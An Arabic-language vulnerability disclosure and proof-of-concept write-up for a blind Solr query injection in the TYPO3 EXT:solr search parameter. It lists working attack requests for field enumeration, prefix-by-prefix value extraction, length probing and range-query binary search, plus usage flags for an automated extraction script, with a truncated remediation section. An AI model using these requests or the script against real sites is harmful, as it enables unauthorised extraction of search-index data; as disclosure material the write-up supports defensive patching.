
إثبات مفهوم وشرح تقني لـ CVE-2026-56096، وهو حقن استعلام Solr أعمى في TYPO3 EXT:solr يتيح تعداد الحقول واستخراج البيانات دون مصادقة.
تم اكتشاف ثغرة أمنية معمارية في إضافة TYPO3 Apache Solr الرسمية (EXT:solr / apache-solr-for-typo3/solr). تتيح المشكلة للمهاجمين عن بُعد غير المصادق عليهم حقن صياغة استعلامات Solr/Lucene عشوائية عبر معامل البحث tx_solr[q]، مما يمكّن من تعداد الحقول الأعمى غير المصرح به واستخراج كامل البيانات الوصفية من فهرس البحث.
EXT:solr (معامل البحث: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:Nتقبل إضافة EXT:solr مصطلحات البحث المقدَّمة من المستخدم عبر المعامل tx_solr[q] وتُمرّرها إلى محرك Apache Solr. بحكم التصميم، تسمح الإضافة بعوامل استعلام محددة—مثل أحرف البدل (*)، وأحرف البدل أحادية الحرف (?)، ومحددات الحقول (:)، واستعلامات النطاق ([a TO z])—لدعم وظائف مشروعة مثل التصفية متعددة الأوجه.
ولأن هذه الأحرف كانت تُمرَّر مباشرة إلى بناء استعلام الواجهة الخلفية دون قائمة بيضاء مفروضة أو طبقة تجريد للاستعلامات، يمكن للمهاجم تقديم صياغة خاصة بالحقول للخروج عن حدود البحث المقصودة. يتيح ذلك للمستخدمين غير المصادق عليهم الاستعلام عن حقول Solr الداخلية مباشرة واستخراج بيانات الفهرس باستخدام تقنيات أعمى قائمة على المنطق البولياني.
field:*من خلال إلحاق حرف بدل باسم حقل عشوائي أو مُخمَّن، يمكن للمهاجم التحقق مما إذا كان الحقل موجودًا ضمن المخطط:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
إذا كان الحقل موجودًا، يعالج Solr الاستعلام عبر جميع السجلات المطابقة (مما يؤدي غالبًا إلى تفعيل رموز استجابة مميزة أو سلوكيات مرتبطة بالحجم)، مما يتيح تعداد الحقول الآلي القائم على قوائم الكلمات.
يمكن للمهاجمين استخراج قيم الحقول الحساسة حرفًا بحرف باستخدام الاستدلال المنطقي:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?يمكن لمعامل حرف البدل الواحد (?) تحديد الطول الدقيق لسلسلة مخزّنة قبل بدء تكرار الأحرف:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])تسمح استعلامات النطاق بالاستخراج عبر البحث الثنائي على الحرف الأول، مما يقلل عدد الطلبات المطلوبة من 26 إلى ~5 لكل موضع حرف:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
يتيح الجمع بين كشف الطول واستعلامات النطاق وأحرف البدل البادئة استخراج الحقل الكامل بأقل بصمة للطلبات.
يُقدَّم نص برمجي للتحقق الآلي (poc.py) لإثبات الاستخراج الأعمى باستخدام التقنيات الموضحة أعلاه.
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url: عنوان URL الهدف الذي يشير إلى نقطة نهاية البحث في TYPO3.
-f, --field: اسم حقل المخطط المراد تعداده/استخراجه (مثل appKey، siteHash).
-c, --cookies: (اختياري) ملفات تعريف ارتباط الجلسة إذا كان التحقق من المصادقة/تجاوز WAF مطلوبًا.
-o, --output: ملف الإخراج لتخزين البادئات المكتشفة (الافتراضي: validated_fields.txt).
EXT:solr.لا يكفي الهروب الشامل من الأحرف لأن عوامل مثل * و : تؤدي وظائف بحث مقصودة. تتطلب المعالجة قائمة سماح على مستوى طبقة التطبيق ونموذج تحليل:
[email protected]).